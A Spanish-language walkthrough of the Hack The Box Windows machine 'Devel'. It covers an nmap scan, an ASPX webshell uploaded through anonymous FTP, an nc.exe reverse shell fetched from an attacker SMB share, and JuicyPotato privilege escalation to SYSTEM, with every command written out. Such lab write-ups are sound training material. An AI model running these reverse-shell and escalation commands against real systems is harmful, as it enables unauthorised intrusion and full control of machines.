Devel
OS: Windows
Dificultad: Fácil
Puntos: 20
Nmap Scan
ports=$(nmap -p- --min-rate=5000 -T4 10.10.10.5 | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p $ports -sC -sV 10.10.10.5
Nmap scan report for 10.10.10.5
Host is up (0.054s latency).
PORT STATE SERVICE VERSION
21/tcp open ftp Microsoft ftpd
| ftp-syst:
|_ SYST: Windows_NT
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| 03-18-17 01:06AM <DIR> aspnet_client
| 03-17-17 04:37PM 689 iisstart.htm
|_03-17-17 04:37PM 184946 welcome.png
80/tcp open http Microsoft IIS httpd 7.5
| http-methods:
|_ Potentially risky methods: TRACE
|_http-title: IIS7
|_http-server-header: Microsoft-IIS/7.5
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Enumeracion
Nmap nos muestra los puerto 21 y 80. El servicio FTP tiene activado el Anonymous login por lo tanto no requerimos usuario ni password para acceder.
Al conectarnos al servicio vemos 3 archivos que parecieran ser del puerto 80.
ftp 10.10.10.5
Connected to 10.10.10.5.
220 Microsoft FTP Service
Name (10.10.10.5:root): anonymous
331 Anonymous access allowed, send identity (e-mail name) as password.
Password:
230 User logged in.
Remote system type is Windows_NT.
ftp> ls
229 Entering Extended Passive Mode (|||49158|)
150 Opening ASCII mode data connection.
03-18-17 01:06AM <DIR> aspnet_client
03-17-17 04:37PM 689 iisstart.htm
03-17-17 04:37PM 184946 welcome.png
226 Transfer complete.
El puerto 80 solo muestra lo siguiente.
FTP Upload File
Despues de analizar el servicio FTP es posible escribir archivos y estos se muestran en el servidor web. Nos creamos un archivo simple.
echo test > test.txt
Lo subimos al servidor FTP.
ftp> put test.txt
local: test.txt remote: test.txt
229 Entering Extended Passive Mode (|||49159|)
150 Opening ASCII mode data connection.
100% |***************************************************************************************************************************************| 6 73.24 KiB/s --:-- ETA
226 Transfer complete.
6 bytes sent in 00:00 (0.11 KiB/s)
ftp> ls
229 Entering Extended Passive Mode (|||49160|)
125 Data connection already open; Transfer starting.
03-18-17 01:06AM <DIR> aspnet_client
03-17-17 04:37PM 689 iisstart.htm
01-09-25 07:56AM 6 test.txt
03-17-17 04:37PM 184946 welcome.png
226 Transfer complete.
Comprobamos que es posible verlo en el servidor web.
ASP Webshell
Podemos aprovecharnos de esta vulnerabilidad subiendo una webshell en ASP ya que es el tipo de servidor que esta utilizando y asi obtener ejecucion de comandos.
Copiamos una webshell en nuestro directorio actual.
cp /usr/share/webshells/aspx/cmdasp.aspx .
Lo subimos al servidor FTP.
ftp> put cmdasp.aspx
local: cmdasp.aspx remote: cmdasp.aspx
229 Entering Extended Passive Mode (|||49161|)
125 Data connection already open; Transfer starting.
100% |***************************************************************************************************************************************| 1442 25.94 MiB/s --:-- ETA
226 Transfer complete.
1442 bytes sent in 00:00 (25.58 KiB/s)
Comprobamos que tenemos ejecucion de comandos.
Reverse shell
Para tener una reverse shell haremos lo siguiente. Utilizaremos el binario nc.exe que descargamos de este repositorio.
Creamos un servidor SMB con impacket donde se encuentre nuestro binario nc.exe.
impacket-smbserver tmp . -smb2support
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
Ponemos a la escucha nuestro netcat.
nc -lvnp 1234
Ejecutamos el siguiente comando en la webshell.
\\10.10.14.5\tmp\nc.exe 10.10.14.5 1234 -e cmd.exe
Obtenemos una reverse shell.
Escalada de Privilegios
El usuario iis apppool\web cuenta con los siguientes privilegios. Vemos que cuenta con el privilegio SeImpersonatePrivilege, normalmente los usuarios o cuentas de servicio tiene ese permiso habilitado lo que nos permite escalar privielgios.
whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ========================================= ========
SeAssignPrimaryTokenPrivilege Replace a process level token Disabled
SeIncreaseQuotaPrivilege Adjust memory quotas for a process Disabled
SeShutdownPrivilege Shut down the system Disabled
SeAuditPrivilege Generate security audits Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeUndockPrivilege Remove computer from docking station Disabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege Create global objects Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
SeTimeZonePrivilege Change the time zone Disabled
SeImpersonate Privilege Escalation
El privilegio SeImpersonatePrivilege otorga la capacidad de suplantar la identidad de otro usuario dentro del sistema. Lo que implica que un atacante con acceso a un proceso que posee este privilegio podría potencialmente ejecutar comandos maliciosos con los permisos de otro usuario.
Nos guiaremos con el recurso de HackTricks para explotar la vulnerabilidad.
JuicyPotato Exploit
Para escalar privilegios utilizaremos JuicyPotato en su version x86. Una vez descargado necesitarios un CLSID valido para esto realizamos lo siguiente.
CLSID (Class Identifier) es un identificador único utilizado para identificar de manera exclusiva una clase COM (Component Object Model). Los CLSID permiten que el sistema operativo o las aplicaciones localicen e invocan estos componentes de manera eficiente.
Podemos probar algun de los CLSID que estan en esta pagina web que tengan el usuario NT AUTHORITY\SYSTEM. En este caso nos funciono el {03ca98d6-ff5d-49b8-abc6-03dd84127020}.
Note
Se tienen que probar varios CLSID hasta que uno funcione correctamente.
Ponemos a la escucha nuestro netcat.
nc -lvnp 4444
Ejecutamos el siguiente comando.
\\10.10.14.5\tmp\Juicy.Potato.x86.exe -l 1337 -c "{03ca98d6-ff5d-49b8-abc6-03dd84127020}" -p c:\windows\system32\cmd.exe -a "/c \\10.10.14.5\tmp\nc.exe 10.10.14.5 4444 -e cmd.exe" -t *
Obtenemos nuestra reverse shell.
Recursos
https://github.com/int0x33/nc.exe
https://github.com/fortra/impacket
https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/juicypotato.html
https://github.com/ivanitlearning/Juicy-Potato-x86
https://ohpe.it/juicy-potato/CLSID/Windows_7_Enterprise/